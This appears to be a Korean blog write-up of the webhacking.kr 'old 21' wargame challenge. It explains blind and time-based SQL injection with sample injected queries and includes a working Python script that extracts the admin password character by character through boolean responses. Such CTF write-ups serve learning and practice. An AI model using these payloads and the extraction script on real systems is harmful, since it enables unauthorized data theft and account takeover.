본문 바로가기

웹해킹/webhacking.kr

webhacking.kr old 21번 문제풀이(Writeup) Blind Sql Injection

반응형

webhacking.kr old 21번 문제개요(Writeup)

old 21번 문제개요 1

문제를 들어가면 위와 같이 출력된다.  제목과 같이 Blind Sql Injection 문제이다. 코드에는 따로 힌트가 없어서

Blind Sql Injection을 시도하면서 flag를 찾아야 할 것으로 보인다.

 

Blind SQL Injection

Blind SQL Injection은 데이터베이스로부터 특정 값이나 데이터를 전달받지 않고, 참과 거짓만을 알 수 있을 때 사용하는
공격 방법이다.
 
예를 들어 로그인 폼에 SQL Injection이 가능하다고 할 때, 서버가 응답하는 로그인 성공과 로그인 실패 메시지를 이용하여, DB의 테이블 정보를 추출할 수 있다.
 

SELECT * FROM Users WHERE id='ID' AND password='passWD' 일 때,  SELECT * FROM Users WHERE id='AITON' and ASCII(SUBSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0, 1)1, 1)) > 100-- 

 

예시의 쿼리문은 로그인 폼을 통해 DB의 테이블 이름을 알아내는 공격이다. 임의의 id인 'AITON'으로 가입하고 아이디와 함께 SQL문을 주입한다. 이때, limit를 통해 하나의 테이블만 조회하고, SUBSTR 함수로 첫 글자만 조회한다. ASCII 코드로 변경해서 숫자로 테이블명을 비교하게 된다.
참이 될 때까지 100이라는 숫자를 변경해 비교한다.
 
이 과정을 처음 보면 어렵지만, 자동화 스크립트로 제작한다면, 빠르게 테이블명을 찾을 수 있다.
 
비슷한 개념으로 Time Based SQL Injection이 있는데 동작 방식이 Blind SQL Injection과 비슷하다. Time Based는 참과 거짓을 분별할 때, Sleep함수를 이용해서 Sleep 되면 거짓, 안되면 참으로 확인한다.
 
예문은 다음과 같다.

SELECT * FROM Users WHERE id = 'abc123' OR (LENGTH(DATABASE())=1 (SLEEP 할 때까지 시도) AND SLEEP(2)) -- INPUT1' AND password = 'INPUT2'

 

이제 문제를 풀어보자.

 

 

webhacking.kr old 21번 문제풀이(Writeup)

old 21번 문제풀이 2

guest 계정이 있을까 싶어서 로그인 시도를 해봤다. guest, guest로 로그인을 하니 로그인에 성공하였다.

URL을 보면 index.php?ID=guest&PW=guest가 힌트로 보인다. 이번엔 admin으로 로그인해보자.

 

 

 

old 21번 문제풀이 3

계정을 admin으로 하고 ASCII(SUTSTR((SELECT name FROM information_schema.tables WHERE table_type='base table' limit 0,1)1,1)) > 100--으로 넣으니 "no hack"이 나온다. 필터링이 존재하는 것으로 보인다.

 

 

 

 

old 21번 문제풀이 4

그리고 정확한 쿼리가 들어가면 wrong password가 출력되고 잘못된 쿼리가 들어가면 login faild가 나오는 것까지 확인했다. 이제 스크립트를 작성해서 비밀번호를 맞추면 된다.

 

 

import requests
URL = 'https://webhacking.kr/challenge/bonus-1/index.php?id=guest&'
cookie = {'PHPSESSID':'r394g2i0vremeingjiik1u408c'}
true_String='wrong password'

# Get_Password_length 
PW_len = 1
while True:   
    param = f"pw=%27%20or%20id=%27admin%27%20and%20length(pw)={PW_len}%20%23"
    r = requests.get(URL + param, cookies=cookie)
    if r.text.count(true_String) != 0:
        break
    else:
        PW_len += 1

print("PW_len: "  + str(PW_len))

# Find_String
pw = ''
for i in range(PW_len):
    character = 127
    while character>0:
        param = f"pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,{i+1},1))%20=%20{character}%20%23"
        r = requests.get(URL + param, cookies=cookie)
        if r.text.count(true_String) != 0:
            break
        else:
            character -= 1
    
    print(chr(character))
    pw += chr(character)

print("PW: " + pw)

스크립트는 Python으로 위와 같이 작성했다.

 

 

old 21번 문제풀이 5

드디어 성공했다. 

 

 


이번 문제를 해결하기 위해 Blind SQL Injection 스크립트를 작성하는 게 생각보다 어려웠다. 조금 많은 시간을 소비한 만큼 보람이 있는 문제이다.

728x90